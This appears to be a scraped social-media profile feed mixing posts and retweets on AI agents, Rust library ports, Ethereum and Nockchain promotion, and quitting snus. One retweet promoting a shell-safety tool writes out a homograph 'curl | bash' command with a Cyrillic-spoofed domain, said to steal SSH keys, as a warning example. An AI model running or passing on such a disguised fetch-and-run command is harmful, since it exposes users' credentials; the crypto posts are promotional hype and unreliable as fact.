Joined October 2019
341 Photos and videos
Pinned Tweet
11 Nov 2025
I can read any piece of text and tell you if its written by ai or a human.
23
37
1,362
Sonnet is SOOO GOOD it literally solved time travel
10
17
331
dunks411 retweeted
Be honest. When was the last time you actually read a command before pasting it into your terminal? Because these two lines look identical: curl -sSL https://install.example-cli | bash curl -sSL https://іnstall.example-clі | bash One installs your tool. The other steals your SSH keys. That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink. Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything. So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry. github.com/sheeki03/tirith
266
826
9,277
651,378
I logged off for 45 minutes and now agents have their own reddit
9
15
313
thanks for playing 🤝
Jan 26
My clawdbot just signed up for a $2,997 "build your personal brand" mastermind after watching 3 Alex Hormozi clips.
3
8
337
dunks411 retweeted
I’m living this every day, and let me tell you, things are accelerating very rapidly indeed. Using skills to improve skills, skills to improve tool use, and then feeding the actual experience in the form of session logs (surfaced and searched by my cass tool and /cass skill) back into the design skill for improving the tool interface to make it more natural and intuitive and powerful for the agents. Then taking that revised tool and improving the skill for using that tool, then rinse and repeat. And finding any way I can to squeeze out more token density and agent intuitiveness and ergonomics wherever I can, like porting toon to Rust and seeing how I can add it as an optional output format to every tool’s robot mode. Meanwhile, I’m going over each tool with my extreme optimization skill and applying insane algorithmic lore that Knuth himself probably forgot about already to make things as fast as the metal can go in memory-safe Rust. Now I’m applying this to much bigger and richer targets, not just making small tools for use by agents, but now complex, rich protocols like my Flywheel Connector Protocol, which is practically an alien artifact (same for my process_triage or pt tool, which could cover a dozen PhD theses worth of applied probability), in that it weaves together so many innovative and clever ideas. Skeptical? Check out the spec, it’s all public in my GH. All the “slop callers” have been conspicuously silent about this stuff, I wonder why? And now I’m even starting to build up my own core infrastructure for Rust. Just because certain libraries and ecosystems like Tokio have all the mindshare, doesn’t mean they’re the best, or even particularly good. Design by committee over 10 years while the language evolves is not a recipe for excellence. But people are content to defer to the experts and then they end up with flawed structured concurrency primitives that forgo all the correctness by design that the academics already solved. For instance, check out my asupersync library, which I’m already using to replace all the networking in my other rust tools, for a glimpse at this new clean-room, alien-artifact library future based on all that CS academic research that only a dozen people in the world ever read about. The knowledge is just sitting there and the models have it. But you need to know how to coax it out of them. I will be skipping out on all the Rust politics though! Naysayers can stick to Tokio. At the same time, I’m raiding and pillaging the best libraries available for every language and making clean-room, conformance-assured, heavily-optimized Rust versions. I’m nearly done porting rich, fastapi, fastmcp, and sqlmodel from Python, as well as all of the Charm libraries from Golang (like bubbletea and lipgloss), and even OpenTUI (I’ll have to port OpenCode afterwards just to antagonize Dax for being so nasty to me). These aren’t idle boasts; all of these repos are public and available NOW for your perusal and verification. And I’ve already proven I can do this with my beads_rust project that I made in a few days and which turned 270k lines of Golang into 20k lines of Rust that is 8x faster. Just need a few more days to finish everything and establish correctness and conformance, and then the iterated extreme isomorphic optimization Olympics can begin in earnest, and I can turn all of these libraries into alien artifacts, too. And btw, when I’m done porting all the console formatting related libraries, I’m going to merge them all into an unholy Franken-Library (but don’t worry, it will be super elegant and agent-intuitive). Again, this isn’t some crazy dream. All of this will be completed by early February at the latest. Just watch. AI skeptics in shambles.
Humanity's future rest on one key question:
22
9
157
33,318
ON GOD
Hey @YouTube I would pay an extra $10/month on top of YouTube Premium to disable shorts. I don't want to see another short ever again. Please let me toggle them off.
4
4
225
aaaaaa im slinging work & spawning polecats
2
2
184
dunks411 retweeted
It’s cool too see Vitalik clearly articulate his vision for Ethereum (now better than ever maybe?) Personally, these ideas were riveting in 2014. It’s what inspired me to get into crypto. But today it feels like the world has moved on, unfortunately. Blockchains are for finance. Finance is and will continue to get surprisingly more expressive because of blockchains, but it’s hard to see a mainstream renaissance in the types of applications described because they are skeuomorphic (decentralized) versions of existing products. That hasn’t been a formula for success. I think a more interesting theme is to imagine: non-skeuomorphic manifestations of the vision he is describing? For example, are we going to end up with 3 mega-datacenter corps, or are we going to find a way to leverage decentralized compute? And what *new* products can only be developed because of the new financial markets that blockchains enable?
In 2014, there was a vision: you can have permissionless, decentralized applications that could support finance, social media, ride sharing, governing organizations, crowdfunding, potentially create an entire alternative web, all on the backs of a suite of technologies. Ethereum: the blockchain. The world computer that could give any application its shared memory. Whisper: the data layer. Messages too expensive for a blockchain, that do no need consensus. Swarm: the storage layer. Store files for long-term access. Over the last five years, this core vision has at times become obscured, with various "metas" and "narratives" at various times taking center stage. But the core vision has never died. And in fact, the core technologies behind it are only growing stronger. Ethereum is now proof of stake. Ethereum is now scaling, it is now cheap, and it is on track to get more scalable and cheaper thanks to the power of ZK-EVMs. Thanks to ZK-EVM PeerDAS, the "sharding" vision is effectively being realized. And L2s can give additional and different kinds of gains in speed on top. Whisper is now Waku ( docs.waku.org/ ), and already powers many applications (eg. railway.xyz/, status.app/ just to name two I use). Even outside of Waku, the quality of decentralized messaging has increased. Fileverse (decentralized Google Docs and Sheets alternative: fileverse.io/ ) has seen massive gains in usability over the past year. IPFS is now highly performant and robust as a decentralized way of retrieving files, though IPFS alone does not solve the storage problem. Hence, there is still room to improve there. All of the prerequisites for the original web3 vision are here, in full force, and are continuing to get stronger over the next few years. Hence, it's time to buidl, and buidl decentralized. Fileverse is an excellent example of the right way to do things: * It uses Ethereum and Gnosis Chain for what they are good for: names, accounts and permissioning, document registration * It uses decentralized messaging and file storage to store documents and propagate changes to documents * The application passes the walkaway test: github.com/fileverse/walk-aw… (even if Fileverse disappears, you can still retrieve them and even keep editing them with the open source UI) This is what we mean by "build a hammer that is a tool you buy once and it's yours, not a corposlop AI dishwasher that requires you to register for a google account and charges a subscription fee per month for extra washing modes, and probably spies on you and stops working if you get politically disfavored by a foreign country". If you think this criticism of corposlop is hyperbolic, well turns out, it's literally a concatenation of these three: * mein-mmo.de/en/user-buys-new… * theguardian.com/technology/2… * irishtimes.com/world/us/2025… In 2014, decentralized applications were toys, hundreds of times more difficult to use in web2. In 2026, fileverse is now usable enough that I regularly write documents in it and send them to other people to collaborate. The decentralized renaissance is coming, and you can be part of making it happen.
35
12
218
53,351
dunks411 retweeted
22 Dec 2025
If Nockchain succeeds at what it’s designed to do (cheap, verifiable computation with privacy by default), there are multiple realistic paths to $100M annual revenue. Below are concrete, non-hand-wavy use cases, how they generate revenue, and why Nock is a good fit.
Replying to @Aizen97_ @nockchain
So can you name some useful cases where $nock can be applied and earn $100M of revenue?
6
14
114
7,263
dunks411 retweeted
nockapps remind me of early react/redux. it's this fringe functional thing that people don't really get but it performs well technically. people forget react was not well received when it was introduced because the jsx syntax was so hard to get used to. but they had the novel idea of the virtual dom to speed up rendering using you guessed it binary trees! just like what nock ISA runs on. hoon is fringe, hard to write, and not many people get it but the idea of having your app state entirely represented by trees in a finite state machine with execution proven on chain is very powerful
5
3
69
1,757
dunks411 retweeted
16 Dec 2025
Announcing a first live NockApp Developer Workshop hosted by @sigilante. This following Monday at 2pm EST. This workshop is aimed at anyone interested in developing for Nockchain in the near to medium term. Learn what NockApp does and how it works. Learn about the runtime, the kernel, and how to write and communicate using the NockApp framework in this developer-targeted workshop looking at each level of the NockApp stack. While the session will utilize Rust and Hoon, any programming experience should be sufficient to follow the discussion. If you'd like to join, just REPLY to this tweet and we'll DM you the link (you have to be following @nockchain).
20
21
103
4,747
12 Dec 2025
Agentic AI Startup futurachy with Humans in the Loop Create AI system to generate startup ideas complete with Deck/Plan & create pledge markets for these. Create system integrated with existing saas/services to build out MVPs Start building out the ideas that reach x pledge threshold and allow for humans to contribute and earn equity. Pledges can convert to ownership Human co-founders can get voted in/out Startups can get bought out (domains/code/servers/etc ownership get transferred) Markets can migrate from pledge to ownership once idea gains traction via vote
5
10
246
16 Dec 2025
Looking into how to handle the AI for this in a decentralised way...
7
152
dunks411 retweeted
15 Dec 2025
You can always tell when you're going to have to lockin over the holiday szn or have some time off. Last year, we had clear indicators that the market was hot and that we would have to remain infront of the screens. AI agent meta was in full force, BTC was making new highs and everyone was active in group chats. I made some of the biggest gains last year during holiday period. Stark change in sentiment this year both on majors and onchain. Pretty much the opposite of what we had last year.
18
7
130
10,355
dunks411 retweeted
14 Dec 2025
Day 5 of quitting snus cold turkey. Went to see one of my best friends yesterday for some beers. As a best friend, he’s also an avid snus connoisseur. As a snus connoisseur his peer pressure game after a few beers was at an elite level. Did I try one of those devil delights? NO I FUCKING DIDN’T, IT’S DAY 5 QUITTING SNUS COLD TURKEY AND I WILL NOT LET YOU GUYS DOWN. We continue. Hungover today, no idea if I am experiencing any side effects from no snus or this is the metric tonne of mulled wine I consumed.
13 Dec 2025
Day 4 of quitting snus cold turkey. Some replies saying it’s “easy” to quit because it has “low absorption” and “slow absorption”. This is false, snus has a slightly larger absorption rate than a cigarette and a rapid absorption rate, people find it extremely difficult to quit. I’m documenting this to show it’s possible, but l understand I’m different to other people. For some people addictions completely rewire their body, for others it’s a game of willpower. I woke up this morning feeling the freshest I’ve felt for a long long time, I used to wake up, feel groggy, and run to get a snus as soon as I’ve brushed my teeth. I felt fresh this morning, like my blood flow has improved (funny that), my dick was rock hard when I woke up this morning. W. The hardest part for me is the “brain loop”, there’s a lot of routines I had where I’d have a snus. Finish a coffee? Pop a snus for a caffeine and nicotine induced rush. Finish eating? Pop a snus and kick back. Wake up? Pop a snus to get the day started. These loops make me want one, but so far I have kicked it, but yes, it’s very early days. We’re only 4 days in… let’s see lads 💪
30
1
63
10,869
9 Dec 2025
we all need to stop being mean let kindness into your heart
9
9
195
9 Dec 2025
and you are telling me ai is a bubble?
5
6
157